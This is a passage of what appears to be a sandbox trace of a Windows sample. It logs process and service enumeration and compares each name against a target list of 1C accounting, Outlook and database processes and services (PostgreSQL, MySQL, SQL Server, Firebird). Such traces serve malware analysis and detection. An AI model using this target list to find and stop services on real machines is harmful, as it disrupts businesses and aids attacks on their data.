(lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0223.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0223.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0223.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0223.566] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0223.567] lstrlenW (lpString="taskhost.exe") returned 12 [0223.567] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhost.exe") returned -1 [0223.567] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhost.exe") returned -1 [0223.567] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhost.exe") returned -1 [0223.567] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhost.exe") returned -1 [0223.567] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhost.exe") returned -1 [0223.567] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhost.exe") returned -1 [0223.567] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhost.exe") returned -1 [0223.568] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.569] lstrlenW (lpString="svchost.exe") returned 11 [0223.569] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.569] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.569] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.569] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0223.569] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0223.569] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0223.569] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0223.570] lstrlenW (lpString="dllhost.exe") returned 11 [0223.570] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0223.570] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0223.571] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0223.571] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0223.571] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0223.571] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0223.571] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0223.571] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0225.592] lstrlenW (lpString="reader_sl.exe") returned 13 [0225.593] lstrcmpiW (lpString1="1c8.exe", lpString2="reader_sl.exe") returned -1 [0225.593] lstrcmpiW (lpString1="1cv77.exe", lpString2="reader_sl.exe") returned -1 [0225.593] lstrcmpiW (lpString1="outlook.exe", lpString2="reader_sl.exe") returned -1 [0225.593] lstrcmpiW (lpString1="postgres.exe", lpString2="reader_sl.exe") returned -1 [0225.593] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="reader_sl.exe") returned -1 [0225.593] lstrcmpiW (lpString1="mysqld.exe", lpString2="reader_sl.exe") returned -1 [0225.593] lstrcmpiW (lpString1="sqlservr.exe", lpString2="reader_sl.exe") returned 1 [0225.593] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0225.594] CloseHandle (hObject=0x384) returned 1 [0225.594] Sleep (dwMilliseconds=0x1f4) [0226.203] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c31f8 [0226.274] EnumServicesStatusExW (in: hSCManager=0x41c31f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0226.275] GetLastError () returned 0xea [0226.276] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xcec) returned 0x41d0998 [0226.276] EnumServicesStatusExW (in: hSCManager=0x41c31f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xcec, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0226.277] CloseServiceHandle (hSCObject=0x41c31f8) returned 1 [0226.279] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0226.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0226.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0226.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0226.280] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0226.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0226.280] lstrlenW (lpString="AudioSrv") returned 8 [0226.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0226.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0226.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0226.280] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0226.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0226.281] lstrlenW (lpString="BFE") returned 3 [0226.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0226.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0226.281] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0226.281] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0226.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0226.281] lstrlenW (lpString="CryptSvc") returned 8 [0226.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0226.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0226.281] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0226.281] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0226.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0226.281] lstrlenW (lpString="CscService") returned 10 [0226.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0226.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0226.282] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0226.282] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0226.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0226.282] lstrlenW (lpString="DcomLaunch") returned 10 [0226.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0226.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0226.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0226.282] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0226.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0226.282] lstrlenW (lpString="Dhcp") returned 4 [0226.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0226.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0226.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0226.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0226.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0226.283] lstrlenW (lpString="Dnscache") returned 8 [0226.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0226.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0226.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0226.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0226.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0226.283] lstrlenW (lpString="DPS") returned 3 [0226.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0226.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0226.283] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0226.284] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0226.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0226.284] lstrlenW (lpString="eventlog") returned 8 [0226.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0226.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0226.284] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0226.284] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0226.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0226.284] lstrlenW (lpString="EventSystem") returned 11 [0226.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0226.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0226.284] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0226.284] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0226.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0226.285] lstrlenW (lpString="gpsvc") returned 5 [0226.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0226.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0226.285] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0226.285] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0226.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0226.285] lstrlenW (lpString="LanmanWorkstation") returned 17 [0226.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0226.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0226.285] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0226.285] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0226.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0226.286] lstrlenW (lpString="lmhosts") returned 7 [0226.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0226.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0226.286] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0226.286] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0226.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0226.287] lstrlenW (lpString="MMCSS") returned 5 [0226.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0226.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0226.287] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0226.287] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0226.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0226.287] lstrlenW (lpString="MpsSvc") returned 6 [0226.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0226.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0226.287] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0226.287] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0226.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0226.288] lstrlenW (lpString="NlaSvc") returned 6 [0226.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0226.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0226.288] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0226.288] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0226.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0226.288] lstrlenW (lpString="nsi") returned 3 [0226.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0226.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0226.288] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0226.288] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0226.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0226.289] lstrlenW (lpString="PcaSvc") returned 6 [0226.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0226.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0226.289] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0226.289] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0226.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0226.289] lstrlenW (lpString="PlugPlay") returned 8 [0226.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0226.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0226.289] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0226.289] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0226.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0226.289] lstrlenW (lpString="Power") returned 5 [0226.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0226.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0226.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0226.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0226.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0226.290] lstrlenW (lpString="ProfSvc") returned 7 [0226.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0226.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0226.290] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0226.290] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0226.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0226.290] lstrlenW (lpString="RpcEptMapper") returned 12 [0226.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0226.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0226.290] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0226.291] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0226.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0226.291] lstrlenW (lpString="RpcSs") returned 5 [0226.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0226.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0226.291] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0226.291] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0226.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0226.291] lstrlenW (lpString="SamSs") returned 5 [0226.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0226.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0226.291] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0226.291] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0226.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0226.292] lstrlenW (lpString="Schedule") returned 8 [0226.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0226.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0226.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0226.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0226.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0226.292] lstrlenW (lpString="SENS") returned 4 [0226.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0226.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0226.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0226.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0226.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0226.293] lstrlenW (lpString="ShellHWDetection") returned 16 [0226.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0226.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0226.293] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0226.293] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0226.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0226.293] lstrlenW (lpString="Spooler") returned 7 [0226.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0226.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0226.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0226.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0226.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0226.294] lstrlenW (lpString="SysMain") returned 7 [0226.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0226.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0226.294] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0226.294] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0226.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0226.294] lstrlenW (lpString="Themes") returned 6 [0226.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0226.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0226.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0226.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0226.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0226.295] lstrlenW (lpString="UxSms") returned 5 [0226.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0226.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0226.295] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0226.295] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0226.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0226.296] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0226.296] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0226.301] Process32FirstW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.302] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0226.303] lstrlenW (lpString="System") returned 6 [0226.303] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0226.303] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0226.303] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0226.304] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0226.304] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0226.304] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0226.304] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0226.304] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0226.305] lstrlenW (lpString="smss.exe") returned 8 [0226.305] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0226.305] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0226.305] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0226.305] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0226.305] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0226.305] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0226.305] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0226.305] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.306] lstrlenW (lpString="csrss.exe") returned 9 [0226.306] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0226.306] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0226.306] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0226.307] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0226.307] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0226.307] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0226.307] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0226.307] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0226.308] lstrlenW (lpString="wininit.exe") returned 11 [0226.308] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0226.308] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0226.308] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0226.308] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0226.308] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0226.308] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0226.308] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0226.308] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.310] lstrlenW (lpString="csrss.exe") returned 9 [0226.310] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0226.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0226.310] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0226.310] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0226.310] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0226.310] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0226.310] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0226.310] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0226.311] lstrlenW (lpString="winlogon.exe") returned 12 [0226.312] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0226.312] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0226.312] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0226.312] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0226.312] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0226.312] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0226.312] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0226.312] Process32NextW (in: 